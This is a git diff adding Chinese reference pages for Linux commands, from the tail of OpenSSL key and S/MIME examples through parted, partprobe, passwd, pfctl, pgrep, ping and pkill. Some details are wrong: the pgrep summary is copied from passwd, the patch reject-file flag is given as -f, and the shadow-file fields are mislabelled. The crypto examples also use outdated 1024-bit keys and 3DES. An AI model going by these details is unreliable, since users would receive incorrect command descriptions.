+生成1024位DSA参数集,并输出到文件dsaparam.pem。 + +``` +# openssl dsaparam -out dsaparam.pem 1024 +``` + +使用参数文件dsaparam.pem生成DSA私钥匙,采用3DES加密后输出到文件dsaprivatekey.pem + +``` +# openssl gendsa -out dsaprivatekey.pem -des3 dsaparam.pem +``` + +使用私钥匙dsaprivatekey.pem生成公钥匙,输出到dsapublickey.pem + +``` +# openssl dsa -in dsaprivatekey.pem -pubout -out dsapublickey.pem +``` + +从dsaprivatekey.pem中读取私钥匙,解密并输入新口令进行加密,然后写回文件dsaprivatekey.pem + +``` +# openssl dsa -in dsaprivatekey.pem -out dsaprivatekey.pem -des3 -passin +``` + + **5、RSA应用例子** + +产生1024位RSA私匙,用3DES加密它,口令为trousers,输出到文件rsaprivatekey.pem + +``` +# openssl genrsa -out rsaprivatekey.pem -passout pass:trousers -des3 1024 +``` + +从文件rsaprivatekey.pem读取私匙,用口令trousers解密,生成的公钥匙输出到文件rsapublickey.pem + +``` +# openssl rsa -in rsaprivatekey.pem -passin pass:trousers -pubout -out rsapubckey.pem +``` + +用公钥匙rsapublickey.pem加密文件plain.txt,输出到文件cipher.txt + +``` +# openssl rsautl -encrypt -pubin -inkey rsapublickey.pem -in plain.txt -out cipher.txt +``` + +使用私钥匙rsaprivatekey.pem解密密文cipher.txt,输出到文件plain.txt + +``` +# openssl rsautl -decrypt -inkey rsaprivatekey.pem -in cipher.txt -out plain.txt +``` + +用私钥匙rsaprivatekey.pem给文件plain.txt签名,输出到文件signature.bin + +``` +# openssl rsautl -sign -inkey rsaprivatekey.pem -in plain.txt -out signature.bin +``` + +用公钥匙rsapublickey.pem验证签名signature.bin,输出到文件plain.txt + +``` +# openssl rsautl -verify -pubin -inkey rsapublickey.pem -in signature.bin -out plain +``` + +从X.509证书文件cert.pem中获取公钥匙,用3DES加密mail.txt,输出到文件mail.enc + +``` +# openssl smime -encrypt -in mail.txt -des3 -out mail.enc cert.pem +``` + +从X.509证书文件cert.pem中获取接收人的公钥匙,用私钥匙key.pem解密S/MIME消息mail.enc,结果输出到文件mail.txt + +``` +# openssl smime -decrypt -in mail.enc -recip cert.pem -inkey key.pem -out mail.txt +``` + +cert.pem为X.509证书文件,用私匙key,pem为mail.txt签名,证书被包含在S/MIME消息中,输出到文件mail.sgn + +``` +# openssl smime -sign -in mail.txt -signer cert.pem -inkey key.pem -out mail.sgn +``` + +验证S/MIME消息mail.sgn,输出到文件mail.txt,签名者的证书应该作为S/MIME消息的一部分包含在mail.sgn中 + +``` +# openssl smime -verify -in mail.sgn -out mail.txt +``` + + + diff --git a/LearnShell/LinuxCommands/parted.md b/LearnShell/LinuxCommands/parted.md new file mode 100644 index 0000000..fad6efe --- /dev/null +++ b/LearnShell/LinuxCommands/parted.md @@ -0,0 +1,139 @@ +parted +=== + +磁盘分区和分区大小调整工具 + +## 补充说明 + +**parted命令** 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具,与fdisk不同,它支持调整分区的大小。作为一种设计用于Linux的工具,它没有构建成处理与fdisk关联的多种分区类型,但是,它可以处理最常见的分区格式,包括:ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区。 + +### 语法 + +``` +parted(选项)(参数) +``` + +### 选项 + +``` +-h:显示帮助信息; +-i:交互式模式; +-s:脚本模式,不提示用户; +-v:显示版本号。 +``` + +### 参数 + +* 设备:指定要分区的硬盘所对应的设备文件; +* 命令:要执行的parted命令。 + +### 实例 + +从串行技术出现以来,越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列;特别是MD1000/MD3000,很轻易就突破2T的LUN,故在此给大家一些指引。 + +红帽企业 Linux 4 Update 4供对大于 2 terabytes(TB)的磁盘设备的支持。 + +请参考以下操作步骤: + +注: + +* 绿色代表你需要使用的命令。 +* 红色代表你需要注意到的输出信息,在后续需要使用。 + +``` +[root@localhost ~]# fdisk -l +Disk /dev/sda: 35.8 GB, 35862976512 bytes +255 heads, 63 sectors/track, 4360 cylinders +Units = cylinders of 16065 * 512 = 8225280 bytes + Device Boot Start End Blocks id System +/dev/sda1 * 1 13 104391 83 Linux +/dev/sda2 14 144 1052257+ 82 Linux swap +/dev/sda3 145 4360 33865020 83 Linux +Disk /dev/sdb: 2147 MB, 2147483648 bytes +255 heads, 63 sectors/track, 261 cylinders +Units = cylinders of 16065 * 512 = 8225280 bytes +Disk /dev/sdb doesn't contain a valid partition table +``` + +``` +[root@localhost ~]# parted /dev/sdb +GNU Parted Copyright (C) 1998 - 2004 free Software Foundation, Inc. +This program is free software, covered by the GNU General Public License. +This program is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A +PARTICULAR PURPOSE. See the GNU General Public License for more details. +使用/dev/sdb +(parted)mklabel gpt +(parted)print +/dev/sdb的磁盘几何结构:0.000-2048.000兆字节 +磁盘标签类型:gpt +Minor 起始点 终止点 文件系统 名称 标志 +(parted)mkpart primary 0 2048 <-----上面print显示的数字 +(parted)print +/dev/sdb的磁盘几何结构:0.000-2048.000兆字节 +磁盘标签类型:gpt +Minor 起始点 终止点 文件系统 名称 标志 +1 0.017 2047.983 +(parted)quit + +``` + +如果必要,不要忘记更新`/etc/fstab`。 + +``` +[root@localhost ~]# fdisk -l +Disk /dev/sda: 35.8 GB, 35862976512 bytes +255 heads, 63 sectors/track, 4360 cylinders +Units = cylinders of 16065 * 512 = 8225280 bytes + Device Boot Start End Blocks Id System +/dev/sda1 * 1 13 104391 83 Linux +/dev/sda2 14 144 1052257+ 82 Linux swap +/dev/sda3 145 4360 33865020 83 Linux +WARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted. + +Disk /dev/sdb: 2147 MB, 2147483648 bytes +255 heads, 63 sectors/track, 261 cylinders +Units = cylinders of 16065 * 512 = 8225280 bytes + Device Boot Start End Blocks Id System +/dev/sdb1 1 262 2097151+ ee EFI GPT +Partition 1 has different physical/logical beginnings (non-Linux?): + phys=(0, 0, 1) logical=(0,0, 2) +Partition 1 has different physical/logical endings: + phys=(1023, 254, 63) logical=(261, 21, 16) +``` + +``` +[root@localhost ~]# mkfs.ext3 /dev/sdb1 +mke2fs 1.35 (28-Feb-2004) +Filesystem label= +OS type: Linux +Block size=4096 (log=2) +Fragment size=4096 (log=2) +262144 inodes, 524279 blocks +26213 blocks (5.00%) reserved for the super user +First data block=0 +Maximum filesystem blocks=536870912 +16 block groups +32768 blocks per group, 32768 fragments per group +16384 inodes per group +Superblock backups stored on blocks: + 32768, 98304, 163840, 229376, 294912 +Writing inode tables: done +Creating journal (8192 blocks): done +Writing superblocks and filesystem accounting information: done +This filesystem will be automatically checked every 28 mounts or +180 days, whichever comes first. Use tune2fs -c or -i to override. +``` + +``` +[root@localhost ~]# mount /dev/sdb1 /mnt +[root@localhost ~]# df -h +Filesystem 容量 已用 可用 已用% 挂载点 +/dev/sda3 32G 2.6G 28G 9% / +/dev/sda1 99M 12M 82M 13% /boot +none 252M 0 252M 0% /dev/shm +/dev/sdb1 2.0G 36M 1.9G 2% /mnt +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/partprobe.md b/LearnShell/LinuxCommands/partprobe.md new file mode 100644 index 0000000..d7e7312 --- /dev/null +++ b/LearnShell/LinuxCommands/partprobe.md @@ -0,0 +1,158 @@ +partprobe +=== + +不重启的情况下重读分区 + +## 补充说明 + +**partprobe命令** 用于重读分区表,当出现删除文件后,出现仍然占用空间。可以partprobe在不重启的情况下重读分区。 + +### 语法 + +``` +partprobe(选项)(参数) +``` + +### 选项 + +``` +-d:不更新内核; +-s:显示摘要和分区; +-h:显示帮助信息; +-v:显示版本信息。 +``` + +### 参数 + +设备:指定需要确认分区表改变的硬盘对应的设备文件。 + +### 实例 + +使用partprobe不重启系统添加新的磁盘分区,主机自带硬盘超过300GB,目前只划分使用了3个主分区,不到70GB,如下: + +``` +[root@localhost ~]# df -h +Filesystem Size Used Avail Use% Mounted on +/dev/sda1 29G 3.7G 24G 14% / +/dev/sda2 29G 22G 5.2G 81% /oracle +tmpfs 2.0G 0 2.0G 0% /dev/shm +``` + +``` +[root@localhost ~]# cat /proc/partitions +major minor #blocks name + + 8 0 311427072 sda + 8 1 30716248 sda1 + 8 2 30716280 sda2 + 8 3 8193150 sda3 + 8 16 976896 sdb + 8 32 976896 sdc + +…省略其他 + +``` + +现在需要给系统添加1个100GB的空间存放数据文件,而又不影响现有系统上业务的运行,使用fdisk结合partprobe命令不重启系统添加一块新的磁盘分区。操作步骤如下: + + **第1步 添加新的磁盘分区** : + +``` +[root@localhost ~]# fdisk /dev/sda +The number of cylinders for this disk is set to 38770. +There is nothing wrong with that, but this is larger than 1024, +and could in certain setups cause problems with: +1) software that runs at boot time (e.g., old versions of lilo) +2) booting and partitioning software from other OSs + (e.g., DOS FDISK, OS/2 FDISK) + +command (m for help): p + +Disk /dev/sda: 318.9 GB, 318901321728 bytes +255 heads, 63 sectors/track, 38770 cylinders +Units = cylinders of 16065 * 512 = 8225280 bytes + + Device Boot Start End Blocks id System +/dev/sda1 * 1 3824 30716248+ 83 Linux +/dev/sda2 3825 7648 30716280 83 Linux +/dev/sda3 7649 8668 8193150 82 Linux swap / Solaris + +Command (m for help): n +Command action + e extended + p primary partition (1-4) +p +Selected partition 4 +First cylinder (8669-38770, default 8669): +Using default value 8669 +last cylinder or +size or +sizeM or +sizeK (8669-38770, default 38770): +100G +Command (m for help): w +The partition table has been altered! + +Calling ioctl() to re-read partition table. + +WARNING: Re-reading the partition table failed with error 16: + +Device or resource busy. +The kernel still uses the old table. +The new table will be used at the next reboot. +Syncing disks. +``` + + **第2步 使用工具partprobe让kernel读取分区信息:** + +``` +[root@localhost ~]# partprobe +``` + +使用fdisk工具只是将分区信息写到磁盘,如果需要mkfs磁盘分区则需要重启系统,而使用partprobe则可以使kernel重新读取分区信息,从而避免重启系统。 + + **第3步 格式化文件系统:** + +``` +[root@localhost ~]# mkfs.ext3 /dev/sda4 +mke2fs 1.39 (29-May-2006) +Filesystem label= +OS type: Linux +Block size=4096 (log=2) +Fragment size=4096 (log=2) +12222464 inodes, 24416791 blocks +1220839 blocks (5.00%) reserved for the super user +First data block=0 +Maximum filesystem blocks=4294967296 +746 block groups +32768 blocks per group, 32768 fragments per group +16384 inodes per group +Superblock backups stored on blocks: + 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, +    2654208, 4096000, 7962624, 11239424, 20480000, 23887872 + +Writing inode tables: done +Creating journal (32768 blocks): done +Writing superblocks and filesystem accounting information: + +done + +This filesystem will be automatically checked every 26 mounts or +180 days, whichever comes first. Use tune2fs -c or -i to override. +[root@localhost ~]# +``` + + **第4步 mount新的分区`/dev/sda4`:** + +``` +[root@localhost ~]# e2label /dev/sda4 /data +[root@localhost ~]# mkdir /data +[root@localhost ~]# mount /dev/sda4 /data +[root@localhost ~]# df +Filesystem 1K-blocks Used Available Use% Mounted on +/dev/sda1 29753556 3810844 24406900 14% / +/dev/sda2 29753588 11304616 16913160 41% /oracle +tmpfs 2023936 0 2023936 0% /dev/shm +/dev/sda4 96132968 192312 91057300 1% /data +``` + +使用partprobe可以不用重启系统即可配合fdisk工具创建新的分区。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/passwd.md b/LearnShell/LinuxCommands/passwd.md new file mode 100644 index 0000000..72b30ba --- /dev/null +++ b/LearnShell/LinuxCommands/passwd.md @@ -0,0 +1,128 @@ +passwd +=== + +用于让用户可以更改自己的密码 + +## 补充说明 + +**passwd命令** 用于设置用户的认证信息,包括用户密码、密码过期时间等。系统管理者则能用它管理系统用户的密码。只有管理者可以指定用户名称,一般用户只能变更自己的密码。 + +### 语法 + +``` +passwd(选项)(参数) +``` + +### 选项 + +``` +-d:删除密码,仅有系统管理者才能使用; +-f:强制执行; +-k:设置只有在密码过期失效后,方能更新; +-l:锁住密码; +-s:列出密码的相关信息,仅有系统管理者才能使用; +-u:解开已上锁的帐号。 +``` + +### 参数 + +用户名:需要设置密码的用户名。 + +### 知识扩展 + +与用户、组账户信息相关的文件 + +存放用户信息: + +``` +/etc/passwd +/etc/shadow +``` + +存放组信息: + +``` +/etc/group +/etc/gshadow +``` + +用户信息文件分析(每项用`:`隔开) + +``` +例如:jack:X:503:504:::/home/jack/:/bin/bash +jack  //用户名 +X  //口令、密码 +503  //用户id(0代表root、普通新建用户从500开始) +504  //所在组 +:  //描述 +/home/jack/  //用户主目录 +/bin/bash  //用户缺省Shell +``` + +组信息文件分析 + +``` +例如:jack:$!$:???:13801:0:99999:7:*:*: +jack  //组名 +$!$  //被加密的口令 +13801  //创建日期与今天相隔的天数 +0  //口令最短位数 +99999  //用户口令 +7  //到7天时提醒 +*  //禁用天数 +*  //过期天数 +``` + +### 实例 + +如果是普通用户执行passwd只能修改自己的密码。如果新建用户后,要为新用户创建密码,则用passwd用户名,注意要以root用户的权限来创建。 + +``` +[root@localhost ~]# passwd linuxde //更改或创建linuxde用户的密码; +Changing password for user linuxde. +New UNIX password: //请输入新密码; +Retype new UNIX password: //再输入一次; +passwd: all authentication tokens updated successfully. //成功; +``` + +普通用户如果想更改自己的密码,直接运行passwd即可,比如当前操作的用户是linuxde。 + +``` +[linuxde@localhost ~]$ passwd +Changing password for user linuxde. //更改linuxde用户的密码; +(current) UNIX password: //请输入当前密码; +New UNIX password: //请输入新密码; +Retype new UNIX password: //确认新密码; +passwd: all authentication tokens updated successfully. //更改成功; +``` + +比如我们让某个用户不能修改密码,可以用`-l`选项来锁定: + +``` +[root@localhost ~]# passwd -l linuxde //锁定用户linuxde不能更改密码; +Locking password for user linuxde. +passwd: Success //锁定成功; + +[linuxde@localhost ~]# su linuxde //通过su切换到linuxde用户; +[linuxde@localhost ~]$ passwd //linuxde来更改密码; +Changing password for user linuxde. +Changing password for linuxde +(current) UNIX password: //输入linuxde的当前密码; +passwd: Authentication token manipulation error //失败,不能更改密码; +``` + +再来一例: + +``` +[root@localhost ~]# passwd -d linuxde //清除linuxde用户密码; +Removing password for user linuxde. +passwd: Success //清除成功; + +[root@localhost ~]# passwd -S linuxde //查询linuxde用户密码状态; +Empty password. //空密码,也就是没有密码; +``` + +注意:当我们清除一个用户的密码时,登录时就无需密码,这一点要加以注意。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/paste.md b/LearnShell/LinuxCommands/paste.md new file mode 100644 index 0000000..31775e6 --- /dev/null +++ b/LearnShell/LinuxCommands/paste.md @@ -0,0 +1,28 @@ +paste +=== + +将多个文件按列队列合并 + +## 补充说明 + +**paste命令** 用于将多个文件按照列队列进行合并。 + +### 语法 + +``` +paste(选项)(参数) +``` + +### 选项 + +``` +-d<间隔字符>或--delimiters=<间隔字符>:用指定的间隔字符取代跳格字符; +-s或——serial串列进行而非平行处理。 +``` + +### 参数 + +文件列表:指定需要合并的文件列表。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/patch.md b/LearnShell/LinuxCommands/patch.md new file mode 100644 index 0000000..a1d71ec --- /dev/null +++ b/LearnShell/LinuxCommands/patch.md @@ -0,0 +1,59 @@ +patch +=== + +为开放源代码软件安装补丁程序 + +## 补充说明 + +**patch命令** 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一。 + +### 语法 + +``` +patch(选项)(参数) +``` + +### 选项 + +``` +-b或--backup:备份每一个原始文件; +-B<备份字首字符串>或--prefix=<备份字首字符串>:设置文件备份时,附加在文件名称前面的字首字符串,该字符串可以是路径名称; +-c或--context:把修补数据解译成关联性的差异; +-d<工作目录>或--directory=<工作目录>:设置工作目录; +-D<标示符号>或--ifdef=<标示符号>:用指定的符号把改变的地方标示出来; +-e或--ed:把修补数据解译成ed指令可用的叙述文件; +-E或--remove-empty-files:若修补过后输出的文件其内容是一片空白,则移除该文件; +-f或--force:此参数的效果和指定"-t"参数类似,但会假设修补数据的版本为新版本; +-F<监别列数>或--fuzz<监别列数>:设置监别列数的最大值; +-g<控制数值>或--get=<控制数值>:设置以RSC或SCCS控制修补作业; +-i<修补文件>或--input=<修补文件>:读取指定的修补问家你; +-l或--ignore-whitespace:忽略修补数据与输入数据的跳格,空格字符; +-n或--normal:把修补数据解译成一般性的差异; +-N或--forward:忽略修补的数据较原始文件的版本更旧,或该版本的修补数据已使 用过; +-o<输出文件>或--output=<输出文件>:设置输出文件的名称,修补过的文件会以该名称存放; +-p<剥离层级>或--strip=<剥离层级>:设置欲剥离几层路径名称; +-f<拒绝文件>或--reject-file=<拒绝文件>:设置保存拒绝修补相关信息的文件名称,预设的文件名称为.rej; +-R或--reverse:假设修补数据是由新旧文件交换位置而产生; +-s或--quiet或--silent:不显示指令执行过程,除非发生错误; +-t或--batch:自动略过错误,不询问任何问题; +-T或--set-time:此参数的效果和指定"-Z"参数类似,但以本地时间为主; +-u或--unified:把修补数据解译成一致化的差异; +-v或--version:显示版本信息; +-V<备份方式>或--version-control=<备份方式>:用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,这个字符串不仅可用"-z"参数变更,当使用"-V"参数指定不同备份方式时,也会产生不同字尾的备份字符串; +-Y<备份字首字符串>或--basename-prefix=--<备份字首字符串>:设置文件备份时,附加在文件基本名称开头的字首字符串; +-z<备份字尾字符串>或--suffix=<备份字尾字符串>:此参数的效果和指定"-B"参数类似,差别在于修补作业使用的路径与文件名若为src/linux/fs/super.c,加上"backup/"字符串后,文件super.c会备份于/src/linux/fs/backup目录里; +-Z或--set-utc:把修补过的文件更改,存取时间设为UTC; +--backup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,才备份文件; +--binary:以二进制模式读写数据,而不通过标准输出设备; +--help:在线帮助; +--nobackup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,不要备份文件; +--verbose:详细显示指令的执行过程。 +``` + +### 参数 + +* 原文件:指定需要打补丁的原始文件; +* 补丁文件:指定补丁文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pathchk.md b/LearnShell/LinuxCommands/pathchk.md new file mode 100644 index 0000000..de664b4 --- /dev/null +++ b/LearnShell/LinuxCommands/pathchk.md @@ -0,0 +1,32 @@ +pathchk +=== + +检查文件中不可移植的部分 + +## 补充说明 + +**pathchk命令** 用来检查文件中不可移植的部分。 + +### 语法 + +``` +pathchk(选项)(参数) +``` + +### 选项 + +``` +-p:检查大多数的POSIX系统; +-P:检查空名字和“-”开头的文件; +--portability:检查所有的POSIX系统,等同于“-P-p”选项; +--help:显示帮助; +--wersion:显示版本号。 +``` + +### 参数 + +* 文件:带路径信息的文件; +* 后缀:可选参数,指定要去除的文件后缀字符串。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/perl.md b/LearnShell/LinuxCommands/perl.md new file mode 100644 index 0000000..e0d6b05 --- /dev/null +++ b/LearnShell/LinuxCommands/perl.md @@ -0,0 +1,30 @@ +perl +=== + +perl语言解释器 + +## 补充说明 + +**perl命令** 是perl语言解释器,负责解释执行perl语言程序。 + +### 语法 + +``` +perl(选项)(参数) +``` + +### 选项 + +``` +-w:输出有用的警告信息; +-U:允许不安全的操作; +-c:仅检查文件的语法; +-d:在调试下运行脚本程序。 +``` + +### 参数 + +文件:要运行的perl脚本程序。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pfctl.md b/LearnShell/LinuxCommands/pfctl.md new file mode 100644 index 0000000..2f64434 --- /dev/null +++ b/LearnShell/LinuxCommands/pfctl.md @@ -0,0 +1,69 @@ +pfctl +=== + +PF防火墙的配置命令 + +## 补充说明 + +**pfctl命令** 是PF防火墙的配置命令,PF防火墙( 全称:Packet Filter )是UNIX LIKE系统上进行TCP/ip流量过滤和网络地址转换的软件系统。PF同样也能提供TCP/IP流量的整形和控制,并且提供带宽控制和数据包优先集控制。PF最早是由Daniel Hartmeier开发的,现在的开发和维护由Daniel和openBSD小组的其他成员负责。 + +PF防火墙的功能很多,本站只列举一些基本配置。 + +### 激活 + +要激活pf并且使它在启动时调用配置文件,编辑`/etc/rc.conf`文件,修改配置pf的一行: + +``` +pf=yes +``` + +重启操作系统让配置生效。 + +也可以通过pfctl程序启动和停止pf: + +``` +# pfctl -e +# pfctl -d +``` + +注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入。 + +### 配置 + +系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性。 + + **pf.conf文件有7个部分:** + +1. 宏:用户定义的变量,包括IP地址,接口名称等等。 +2. 表:一种用来保存IP地址列表的结构。 +3. 选项:控制PF如何工作的变量。 +4. 整形:重新处理数据包,进行正常化和碎片整理。 +5. 排队:提供带宽控制和数据包优先级控制。 +6. 转换:控制网络地址转换和数据包重定向。 +7. 过滤规则:在数据包通过接口时允许进行选择性的过滤和阻止。 + +除去宏和表,其他的段在配置文件中也应该按照这个顺序出现,尽管对于一些特定的应用并不是所有的段都是必须的。 + +空行会被忽略,以#开头的行被认为是注释。 + +### 控制 + +引导之后,PF可以通过pfctl程序进行操作,以下是一些例子: + +``` +# pfctl -f /etc/pf.conf 载入 pf.conf 文件 +# pfctl -nf /etc/pf.conf 解析文件,但不载入 +# pfctl -Nf /etc/pf.conf 只载入文件中的NAT规则 +# pfctl -Rf /etc/pf.conf 只载入文件中的过滤规则 + +# pfctl -sn 显示当前的NAT规则 +# pfctl -sr 显示当前的过滤规则 +# pfctl -ss 显示当前的状态表 +# pfctl -si 显示过滤状态和计数 +# pfctl -sa 显示任何可显示的 +``` + +完整的命令列表,请参阅pfctl的man手册页。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pgrep.md b/LearnShell/LinuxCommands/pgrep.md new file mode 100644 index 0000000..1342704 --- /dev/null +++ b/LearnShell/LinuxCommands/pgrep.md @@ -0,0 +1,61 @@ +pgrep +=== + +设置用户的认证信息,包括用户密码、密码过期时间等 + +## 补充说明 + +**pgrep命令** 以名称为依据从运行进程队列中查找进程,并显示查找到的进程id。每一个进程ID以一个十进制数表示,通过一个分割字符串和下一个ID分开,默认的分割字符串是一个新行。对于每个属性选项,用户可以在命令行上指定一个以逗号分割的可能值的集合。 + +### 语法 + +``` +pgrep(选项)(参数) +``` + +### 选项 + +``` +-o:仅显示找到的最小(起始)进程号; +-n:仅显示找到的最大(结束)进程号; +-l:显示进程名称; +-P:指定父进程号; +-g:指定进程组; +-t:指定开启进程的终端; +-u:指定进程的有效用户ID。 +``` + +### 参数 + +进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。 + +### 实例 + +``` +pgrep -lo httpd +4557 httpd + [root@localhost ~]# pgrep -ln httpd +4566 httpd + +[root@localhost ~]# pgrep -l httpd +4557 httpd +4560 httpd +4561 httpd +4562 httpd +4563 httpd +4564 httpd +4565 httpd +4566 httpd + +[root@localhost ~]# pgrep httpd 4557 +4560 +4561 +4562 +4563 +4564 +4565 +4566 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/php.md b/LearnShell/LinuxCommands/php.md new file mode 100644 index 0000000..41775d8 --- /dev/null +++ b/LearnShell/LinuxCommands/php.md @@ -0,0 +1,28 @@ +php +=== + +PHP语言的命令行接口 + +## 补充说明 + +**php命令** 是流行的Web开发语言PHP的命令行接口,可以使用PHP语言开发基于命令行的系统管理脚本程序。 + +### 语法 + +``` +php(选项)(参数) +``` + +### 选项 + +``` +-a:进入交互模式; +-c:指定“php.ini”的搜索路径。 +``` + +### 参数 + +文件:要执行的php脚本。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pico.md b/LearnShell/LinuxCommands/pico.md new file mode 100644 index 0000000..ba7582f --- /dev/null +++ b/LearnShell/LinuxCommands/pico.md @@ -0,0 +1,61 @@ +pico +=== + +功能强大全屏幕的文本编辑器 + +## 补充说明 + +**pico命令** 是功能强大全屏幕的文本编辑器。pico的操作简单,提供了丰富的快捷键。常用的快捷键如下: + +``` +Ctrl+G:获得pico的帮助信息; +Ctrl+O:保存文件内容,如果是新文件,需要输入文件名; +Ctrl+R:在当前光标位置插入一个指定的文本文件内容; +Ctrl+Y:向前翻页; +Ctrl+V:向后翻页; +Ctrl+w:对文件进行搜索; +Ctrl+K:剪切当前文件行到粘贴缓冲区; +Ctrl+U:粘贴缓冲区中的内容到当前光标所在位置; +Ctrl+C:显示当前光标位置; +Ctrl+T:调用拼写检查功能,对文档进行拼写检查; +Ctrl+J:段落重排; +Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改。 +``` + +### 语法 + +``` +pico(选项)(参数) +``` + +### 选项 + +``` +-b:开启置换的功能; +-d:开启删除的功能; +-e:使用完整的文件名称; +-f:支持键盘上F1、F2...功能键; +-g:显示光标; +-h:在线帮助; +-j:开启切换的功能; +-k:预设pico在使用剪下命令时,会把光标所在的列的内容全部删除; +-m:开启鼠标支持的功能,您可用鼠标点选命令列表; +-n<间隔秒数>:设置多久检查一次新邮件; +-o<工作目录>:设置工作目录; +-q:忽略预设值; +-r<编辑页宽>:设置编辑文件的页宽; +-s<拼字检查器>:另外指定拼字检查器; +-t:启动工具模式; +-v:启动阅读模式,用户只能观看,无法编辑文件的内容; +-w:关闭自动换行,通过这个参数可以编辑内容很长的列; +-x:关闭页面下方的命令列表; +-z:让pico可被Ctrl+z中断,暂存在后台作业里; ++<列表编号>:执行pico指令进入编辑模式时,从指定的列数开始编辑。 +``` + +### 参数 + +文件:指定要编辑的文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pidof.md b/LearnShell/LinuxCommands/pidof.md new file mode 100644 index 0000000..ea466b2 --- /dev/null +++ b/LearnShell/LinuxCommands/pidof.md @@ -0,0 +1,43 @@ +pidof +=== + +查找指定名称的进程的进程号ID号 + +## 补充说明 + +**pidof命令** 用于查找指定名称的进程的进程号id号。 + +### 语法 + +``` +pidof(选项)(参数) +``` + +### 选项 + +``` +-s:仅返回一个进程号; +-c:仅显示具有相同“root”目录的进程; +-x:显示由脚本开启的进程; +-o:指定不显示的进程ID。 +``` + +### 参数 + +进程名称:指定要查找的进程名称。 + +### 实例 + +``` +pidof nginx +13312 5371 + +pidof crond +1509 + +pidof init +1 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ping.md b/LearnShell/LinuxCommands/ping.md new file mode 100644 index 0000000..cebd15e --- /dev/null +++ b/LearnShell/LinuxCommands/ping.md @@ -0,0 +1,56 @@ +ping +=== + +测试主机之间网络的连通性 + +## 补充说明 + +**ping命令** 用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。 + +### 语法 + +``` +ping(选项)(参数) +``` + +### 选项 + +``` +-d:使用Socket的SO_DEBUG功能; +-c<完成次数>:设置完成要求回应的次数; +-f:极限检测; +-i<间隔秒数>:指定收发信息的间隔时间; +-I<网络界面>:使用指定的网络界面送出数据包; +-l<前置载入>:设置在送出要求信息之前,先行发出的数据包; +-n:只输出数值; +-p<范本样式>:设置填满数据包的范本样式; +-q:不显示指令执行过程,开头和结尾的相关信息除外; +-r:忽略普通的Routing Table,直接将数据包送到远端主机上; +-R:记录路由过程; +-s<数据包大小>:设置数据包的大小; +-t<存活数值>:设置存活数值TTL的大小; +-v:详细显示指令的执行过程。 +``` + +### 参数 + +目的主机:指定发送ICMP报文的目的主机。 + +### 实例 + +``` +[root@AY1307311912260196fcZ ~]# ping www.jsdig.com +PING host.1.jsdig.com (100.42.212.8) 56(84) bytes of data. +64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=1 ttl=50 time=177 ms +64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=2 ttl=50 time=178 ms +64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=3 ttl=50 time=174 ms +64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=4 ttl=50 time=177 ms +...按Ctrl+C结束 + +--- host.1.jsdig.com ping statistics --- +4 packets transmitted, 4 received, 0% packet loss, time 2998ms +rtt min/avg/max/mdev = 174.068/176.916/178.182/1.683 ms +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pkill.md b/LearnShell/LinuxCommands/pkill.md new file mode 100644 index 0000000..a8f2a2d --- /dev/null +++ b/LearnShell/LinuxCommands/pkill.md @@ -0,0 +1,42 @@ +pkill +=== + +可以按照进程名杀死进程 + +## 补充说明 + +**pkill命令** 可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill来杀掉。 + +### 语法 + +``` +pkill(选项)(参数) +``` + +### 选项 + +``` +-o:仅向找到的最小(起始)进程号发送信号; +-n:仅向找到的最大(结束)进程号发送信号; +-P:指定父进程号发送信号; +-g:指定进程组; +-t:指定开启进程的终端。 +``` + +### 参数 + +进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。 + +### 实例 + +``` +pgrep -l gaim +2979 gaim + +pkill gaim +``` + +也就是说:kill对应的是PID,pkill对应的是command。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pmap.md b/LearnShell/LinuxCommands/pmap.md new file mode 100644 index 0000000..7f3bed7 --- /dev/null +++ b/LearnShell/LinuxCommands/pmap.md @@ 